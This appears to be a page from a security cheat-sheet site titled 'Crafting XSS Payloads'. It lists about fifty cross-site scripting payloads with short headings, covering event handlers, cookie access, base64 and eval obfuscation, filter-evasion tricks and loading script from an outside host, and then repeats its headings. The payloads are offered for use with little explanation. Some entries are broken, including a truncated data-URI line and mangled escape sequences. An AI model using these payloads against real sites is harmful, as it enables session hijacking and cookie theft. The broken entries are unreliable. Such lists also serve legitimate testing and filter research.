⛑️Crafting XSS Payloads

Basic Alert:

<script>alert('XSS')</script>

Document Cookie Access:

<script>alert(document.cookie)</script>

JavaScript Execution:

<img src=x onerror=alert('XSS')>

Using JavaScript URI:

javascript:alert('XSS')

Executing Code from External Source:

<script src="<http://example.com/xss.js>"></script>

HTML Injection:

<div onclick="alert('XSS')">Click me</div>

Event Handler:

<body onload=alert('XSS')>

Using SVG:

<svg/onload=alert('XSS')>

Embedding in Style Tags:

<style>@import 'javascript:alert("XSS")';</style>

Using Iframe:

<iframe src="javascript:alert('XSS')"></iframe>

Non-Alpha-Non-Digit XSS:

<script>\\\\\\\\x3Cscript>\\\\\\\\x61\\\\\\\\x6C\\\\\\\\x65\\\\\\\\x72\\\\\\\\x74(1)//\\\\\\\\x3C/script></script>

Using document.domain:

<script>alert(document.domain)</script>

Using HTML Entities:

&#x3C;script&#x3E;alert('XSS')&#x3C;/script&#x3E;

Breaking out of HTML Attributes:

<input value="<script>alert('XSS')</script>">

Using `eval()`:

<script>eval('al'+'ert(1)')</script>

Breaking out of URL Parameters:

<http://example.com/?param=><script>alert('XSS')</script>

Using Base64:

<script>eval(atob('YWxlcnQoJ1hTUycp'))</script>

Exploiting innerHTML:

<div id="div" onmouseover="this.innerHTML='<img src=x onerror=alert(1)>'">Hover over me!</div>

Using `setTimeout`:

<script>setTimeout('alert("XSS")', 1000)</script>

UTF-8 Encoded Payloads:

<script>\\\\\\\\u003Cscript>\\\\\\\\u0061\\\\\\\\u006C\\\\\\\\u0065\\\\\\\\u0072\\\\\\\\u0074(1)//\\\\\\\\u003C/script></script>

Using Object Tags:

<object data="javascript:alert('XSS');"></object>

Using Embed Tags:

<embed src="javascript:alert('XSS');">

Utilizing `onmouseover`:

<img src="#" onmouseover="alert('XSS')">

Using `onfocus`:

<input onfocus="alert('XSS')">

Utilizing `onerror` with Invalid Image Source:

<img src="invalid" onerror="alert('XSS')">

Malformed HTML Tags:

<scr<script>ipt>alert('XSS')</scr</script>ipt>

Using `srcdoc` in Iframe:

<iframe srcdoc="<p onclick='alert(1)'>Click me</p>"></iframe>

Exploiting `onload` in Body Tag:

<body onload=alert('XSS')>

Encoding with Decimal HTML Entities:

&#60;script&#62;alert('XSS')&#60;/script&#62;

Using `data:` URI:

<object data="data:text

Using Unicode:

<script>\u0061lert(1)</script>j

Breaking Out of Script Context:

</script><script>alert('XSS')</script>

Using `onerror` with Script Tags:

<script src="http://example.com/nonexistent.js" onerror="alert('XSS')"></script>

Using MathML:

<math><mtext>]]><script>alert('XSS')</script></mtext></math>

Exploiting ContentEditable:

<div contenteditable onfocus="alert('XSS')">Click and type something</div>

Using `document.write`:

<script>document.write('<script>alert("XSS")<\/script>');</script>

Exploiting `ondblclick`:

<div ondblclick="alert('XSS')">Double Click Me</div>

Using VBScript in IE:

<script language="vbscript">msgbox "XSS"</script>

Utilizing `execScript` in IE:

<script>execScript("alert('XSS')", "vbscript")</script>

Using XML Entities:

<foo><![CDATA[<]]><script>alert('XSS')</script>]]></foo>

Exploiting `onblur`:

<input onblur="alert('XSS')" autofocus>

Using `onchange`:

<input onchange="alert('XSS')">

Using `onsubmit`:

<form onsubmit="alert('XSS')">

Breaking Out of CSS Context:

<style>body{background:url("javascript:alert('XSS')");}</style>

Using Frame Source:

<frame src="javascript:alert('XSS');">

Utilizing `document.domain` with `iframe`:

<iframe src="javascript:alert(document.domain)"></iframe>

Exploiting `onresize`:

<div onresize="alert('XSS')" style="resize:both; overflow:auto;">Resize Me</div>

Using `onclick`:

<button onclick="alert('XSS')">Click Me</button>

Exploiting `href` with JavaScript:

<a href="javascript:alert('XSS')">Click Here</a>

PreviousJavaScript Tricks NextEvent Based XSS

Last updated 1 year ago

hashtagBasic Alert:

hashtagDocument Cookie Access:

hashtagJavaScript Execution:

hashtagUsing JavaScript URI:

hashtagExecuting Code from External Source:

hashtagHTML Injection:

hashtagEvent Handler:

hashtagUsing SVG:

hashtagEmbedding in Style Tags:

hashtagUsing Iframe:

hashtagNon-Alpha-Non-Digit XSS:

hashtagUsing document.domain:

hashtagUsing HTML Entities:

hashtagBreaking out of HTML Attributes:

hashtagUsing eval():

hashtagBreaking out of URL Parameters:

hashtagUsing Base64:

hashtagExploiting innerHTML:

hashtagUsing setTimeout:

hashtagUTF-8 Encoded Payloads:

hashtagUsing Object Tags:

hashtagUsing Embed Tags:

hashtagUtilizing onmouseover:

hashtagUsing onfocus:

hashtagUtilizing onerror with Invalid Image Source:

hashtagMalformed HTML Tags:

hashtagUsing srcdoc in Iframe:

hashtagExploiting onload in Body Tag:

hashtagEncoding with Decimal HTML Entities:

hashtagUsing data: URI:

hashtagUsing Unicode:

hashtagBreaking Out of Script Context:

hashtagUsing onerror with Script Tags:

hashtagUsing MathML:

hashtagExploiting ContentEditable:

hashtagUsing document.write:

hashtagExploiting ondblclick:

hashtagUsing VBScript in IE:

hashtagUtilizing execScript in IE:

hashtagUsing XML Entities:

hashtagExploiting onblur:

hashtagUsing onchange:

hashtagUsing onsubmit:

hashtagBreaking Out of CSS Context:

hashtagUsing Frame Source:

hashtagUtilizing document.domain with iframe:

hashtagExploiting onresize:

hashtagUsing onclick:

hashtagExploiting href with JavaScript:

Basic Alert:

Document Cookie Access:

JavaScript Execution:

Using JavaScript URI:

Executing Code from External Source:

HTML Injection:

Event Handler:

Using SVG:

Embedding in Style Tags:

Using Iframe:

Non-Alpha-Non-Digit XSS:

Using document.domain:

Using HTML Entities:

Breaking out of HTML Attributes:

Using `eval()`:

Breaking out of URL Parameters:

Using Base64:

Exploiting innerHTML:

Using `setTimeout`:

UTF-8 Encoded Payloads:

Using Object Tags:

Using Embed Tags:

Utilizing `onmouseover`:

Using `onfocus`:

Utilizing `onerror` with Invalid Image Source:

Malformed HTML Tags:

Using `srcdoc` in Iframe:

Exploiting `onload` in Body Tag:

Encoding with Decimal HTML Entities:

Using `data:` URI:

Using Unicode:

Breaking Out of Script Context:

Using `onerror` with Script Tags:

Using MathML:

Exploiting ContentEditable:

Using `document.write`:

Exploiting `ondblclick`:

Using VBScript in IE:

Utilizing `execScript` in IE:

Using XML Entities:

Exploiting `onblur`:

Using `onchange`:

Using `onsubmit`:

Breaking Out of CSS Context:

Using Frame Source:

Utilizing `document.domain` with `iframe`:

Exploiting `onresize`:

Using `onclick`:

Exploiting `href` with JavaScript: